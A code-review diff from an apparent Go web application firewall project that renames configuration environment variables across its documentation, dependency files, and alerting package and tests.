`rproxy` speaks HTTP/1.1 to it.
- `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
`discriminator`'s answer, to a question and to a report. A time; never `off`.
- `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
request when `discriminator` cannot be connected to, does not answer at all,
or does not answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the
app, and `deny` answers `503`. It does not apply to an answer `discriminator`
gives, such as an error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
size or `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
size or `off`.
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time
or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. A
time or `off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
`http` or `https` URL with a host and an optional port, and nothing more.
- `SWW_RPROXY_TRUSTED_PROXIES` (default
`10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`): the netblocks whose
`X-Forwarded-For` is believed. Set but empty, it trusts nothing. A client
outside these netblocks cannot claim another address. Where other containers
reach `rproxy` directly, or visitors on a private network reach traefik, they
can name another address in the header. Narrowing the setting to traefik's own
network closes that gap.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`discriminator` cannot be connected to, does not answer at all, or does not
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
answers `503`. It does not apply to an answer `discriminator` gives, such as
an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
`off`.
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
send its request line and headers. It then also bounds, from the end of the
headers, the time until the app has been sent the whole request. A time or
`off`.
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
from the end of the request to its last byte reaching the visitor. A time or
`off`.
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
`https` URL with a host and an optional port, and nothing more.
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
nothing. A client outside these netblocks cannot claim another address. Where
other containers reach `rproxy` directly, or visitors on a private network
reach traefik, they can name another address in the header. Narrowing the
setting to traefik's own network closes that gap.
## The image's command
@@ -464,14 +458,14 @@ check checks: `rproxy` or `discriminator` (see "Deployment" in
Nothing reads these names any more:
- `SWW_WAF_UPSTREAM_URL` is `SWW_RPROXY_UPSTREAM_URL`.
- `SWW_WAF_TRUSTED_PROXIES` is `SWW_RPROXY_TRUSTED_PROXIES`.
- `SWW_WAF_REQUEST_MAX_BYTES` is `SWW_RPROXY_MAX_REQUEST_SIZE`.
- `SWW_WAF_RESPONSE_MAX_BYTES` is `SWW_RPROXY_MAX_RESPONSE_SIZE`.
- `SWW_WAF_CLIENT_REQUEST_TIMEOUT` and `SWW_WAF_UPSTREAM_REQUEST_TIMEOUT` are
`SWW_RPROXY_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_WAF_CLIENT_RESPONSE_TIMEOUT` and `SWW_WAF_UPSTREAM_RESPONSE_TIMEOUT` are
`SWW_RPROXY_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_WAF_CLIENT_IDLE_TIMEOUT` and `SWW_WAF_CLIENT_REQUEST_HEADER_MAX_BYTES`
have no setting. `rproxy` closes a kept-open connection idle for 120 seconds,
and takes a request line and headers of at most 32 KiB.
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB.
docs/state-files.md
+8 -8
View File
@@ -1,13 +1,13 @@
# State files
The five JSON files in `SWW_WAF_STATE_DIR`, and what each holds. "Persistent
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
Each has a top-level `version` of 1.
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
a top-level `version` of 1.
## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
those `discriminator` made. Per entry:
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
`discriminator` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -94,10 +94,10 @@ GeoJS answers, one per line:
## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWW_WAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB
of disk writes a day.
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWW_WAF_MAX_BANS`. Written every 15 minutes, a full file comes to
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
go.mod
+4 -14
View File
@@ -4,20 +4,18 @@ go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
github.com/oschwald/maxminddb-golang/v2 v2.7.0
github.com/prometheus/client_golang v1.24.1
github.com/spf13/viper v1.21.0
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.4 // indirect
github.com/go-viper/mapstructure/v2 v2.4.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
@@ -27,27 +25,19 @@ require (
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/pelletier/go-toml/v2 v2.2.4 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/sagikazarmark/locafero v0.11.0 // indirect
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 // indirect
github.com/spf13/afero v1.15.0 // indirect
github.com/spf13/cast v1.10.0 // indirect
github.com/spf13/pflag v1.0.10 // indirect
github.com/subosito/gotenv v1.6.0 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go.yaml.in/yaml/v3 v3.0.5 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.60.0 // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.42.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
go.sum
+10 -36
View File
@@ -2,24 +2,18 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0 h1:ZX0xWXpQgRXV/4sdfw21mOZBmmzQSb1+JiR51YOLv8I=
github.com/corazawaf/coraza-coreruleset/crs/tests/v4 v4.30.0/go.mod h1:yf3Gc7mGKBR1wchr4EXZHG10En6WQ4W4MJCg3ix91wQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0 h1:XMYT7VOFM2VrpIKMUn4vFWyoFNYg1ZaYiexs76AmxzQ=
github.com/corazawaf/coraza-coreruleset/crs/v4 v4.30.0/go.mod h1:1yaQUjecpEJ/cWXhJaFto+vRuezJCCfVxGQlaQxAGt0=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68 h1:KLEjvBBSwQcxvgT6h1VDjRLtQ+V9eObAwubb1CTWf9U=
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68/go.mod h1:9XocblQEwK6EYylRth7PrPIifF2l0iSoYo4FAXhXU/8=
github.com/corazawaf/libinjection-go v0.3.4 h1:jX2Tit2xZxYJJyVryNXucYBZtQqS7473x9Nc6lgRRbk=
github.com/corazawaf/libinjection-go v0.3.4/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8=
github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/go-viper/mapstructure/v2 v2.4.0 h1:EBsztssimR/CONLSZZ04E8qAkxNYq4Qp9LvH92wZUgs=
github.com/go-viper/mapstructure/v2 v2.4.0/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
@@ -40,10 +34,6 @@ github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPs
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
@@ -68,24 +58,8 @@ github.com/prometheus/common v0.70.1 h1:1HvjP4D5oL3t8RsPlwxA9onvvStjtIHYE5XuuwOi
github.com/prometheus/common v0.70.1/go.mod h1:VdFUQDMZK3VLkurFUVhia6uys/0suUp86TJz5qbJRhc=
github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+OJI=
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8=
github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs=
github.com/sagikazarmark/locafero v0.11.0 h1:1iurJgmM9G3PA/I+wWYIOw/5SyBtxapeHDcg+AAIFXc=
github.com/sagikazarmark/locafero v0.11.0/go.mod h1:nVIGvgyzw595SUSUE6tvCp3YYTeHs15MvlmU87WwIik=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8 h1:+jumHNA0Wrelhe64i8F6HNlS8pkoyMv5sreGx2Ry5Rw=
github.com/sourcegraph/conc v0.3.1-0.20240121214520-5f936abd7ae8/go.mod h1:3n1Cwaq1E1/1lhQhtRK2ts/ZwZEhjcQeJQ1RuC6Q/8U=
github.com/spf13/afero v1.15.0 h1:b/YBCLWAJdFWJTN9cLhiXXcD7mzKn9Dm86dNnfyQw1I=
github.com/spf13/afero v1.15.0/go.mod h1:NC2ByUVxtQs4b3sIUphxK0NioZnmxgyCrfzeuq8lxMg=
github.com/spf13/cast v1.10.0 h1:h2x0u2shc1QuLHfxi+cTJvs30+ZAHOGRic8uyGTDWxY=
github.com/spf13/cast v1.10.0/go.mod h1:jNfB8QC9IA6ZuY2ZjDp0KtFO2LZZlg4S/7bzP6qqeHo=
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
github.com/spf13/viper v1.21.0 h1:x5S+0EU27Lbphp4UKm1C+1oQO+rKx36vfCoaVebLFSU=
github.com/spf13/viper v1.21.0/go.mod h1:P0lhsswPGWD/1lZJ9ny3fYnVqxiegrlNrEmgLjbTCAY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
@@ -105,14 +79,14 @@ go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBs
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.60.0 h1:79p50tfZlm0J9YfoDsSi639qSXNGVwEzOPLCxM2FsYU=
golang.org/x/net v0.60.0/go.mod h1:2DA/G1UfVbCpQPeWTmMPGY7Cs2PkBkwu743bVX5PIVg=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.42.0 h1:JbOZXgfeCPU9gacVtYliJqOhD+zhrEqK4LfdpmlUZqI=
golang.org/x/text v0.42.0/go.mod h1:ojzP1Z+2QtioaF8DTtO8K5q7JWVVYwZKenzujK0Zd0E=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
internal/alerts/alerts.go
+30 -30
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook
// SWW_WAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming
// webhook SWW_WAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_WAF_ALERT_NTFY_URL names. A repeat within
// SWW_WAF_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
// SWW_ALERT_COOLDOWN is held back, and so is an alert past
// SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package.
@@ -34,7 +34,7 @@ import (
"time"
)
// The events an alert is for, as SWW_WAF_ALERT_EVENTS names them.
// The events an alert is for, as SWW_ALERT_EVENTS names them.
const (
// EventBan is a ban sww made.
EventBan = "ban"
@@ -45,7 +45,7 @@ const (
// threshold.
EventAnomaly = "anomaly"
// EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, refused in block mode, let through in
// SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the
@@ -61,14 +61,14 @@ const (
// cannot be read, or a state file that cannot be written.
EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWW_WAF_ALERT_MAX_PER_HOUR, and of the repeats held
// back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWW_WAF_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_WAF_ALERT_EVENTS does not name it.
// has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWW_ALERT_EVENTS does not name it.
EventSummary = "summary"
)
// Events returns every event SWW_WAF_ALERT_EVENTS can name, which is its
// Events returns every event SWW_ALERT_EVENTS can name, which is its
// default.
func Events() []string {
return []string{
@@ -80,12 +80,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json
// name them.
const (
// DestinationWebhook is the webhook SWW_WAF_ALERT_WEBHOOK_URL names.
// DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook
// SWW_WAF_ALERT_SLACK_WEBHOOK_URL names.
// SWW_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWW_WAF_ALERT_NTFY_URL names.
// DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy"
)
@@ -121,26 +121,26 @@ var (
// NtfyURL set, no alert is sent.
type Params struct {
// WebhookURL is where each alert is posted as JSON
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL
WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
// message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to
// (SWW_WAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_WAF_ALERT_NTFY_TOKEN).
// (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
NtfyURL *url.URL
NtfyToken string
// Events are the events alerts are sent for (SWW_WAF_ALERT_EVENTS).
// Events are the events alerts are sent for (SWW_ALERT_EVENTS).
Events []string
// Cooldown is how long a repeat of an alert is held back
// (SWW_WAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_WAF_ALERT_MAX_PER_HOUR), 0 for no limit.
// (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration
MaxPerHour int
// Instance is SWW_WAF_INSTANCE_NAME, which every alert gives.
// Instance is SWW_INSTANCE_NAME, which every alert gives.
Instance string
// Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time
@@ -301,17 +301,17 @@ func New(params Params) *Queue {
}
if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWW_WAF_ALERT_WEBHOOK_URL",
q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage)
}
if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWW_WAF_ALERT_SLACK_WEBHOOK_URL",
q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage)
}
if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWW_WAF_ALERT_NTFY_URL",
q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage)
}
@@ -319,7 +319,7 @@ func New(params Params) *Queue {
}
// Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWW_WAF_ALERT_EVENTS leaves its event
// unless no destination is set or SWW_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of
@@ -363,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
}
// WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWW_WAF_ALERT_EVENTS chooses
// netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing.
@@ -608,13 +608,13 @@ func (q *Queue) endHour(now time.Time) {
if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWW_WAF_ALERT_MAX_PER_HOUR allows", heldBack,
"past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
}
if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWW_WAF_ALERT_COOLDOWN that no later alert gives", repeats))
"SWW_ALERT_COOLDOWN that no later alert gives", repeats))
}
if len(reasons) > 0 {
internal/alerts/alerts_test.go
+11 -11
View File
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error("a ban alert would be sent, though SWW_WAF_ALERT_EVENTS leaves it out")
t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
}
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWW_WAF_ALERT_NTFY_URL": onlyNtfy,
"SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWW_ALERT_NTFY_URL": onlyNtfy,
} {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf("a ban alert would not be sent with only %s set", setting)
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "",
"country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows",
"past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{
"hour": started,
"count": float64(3),
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0)
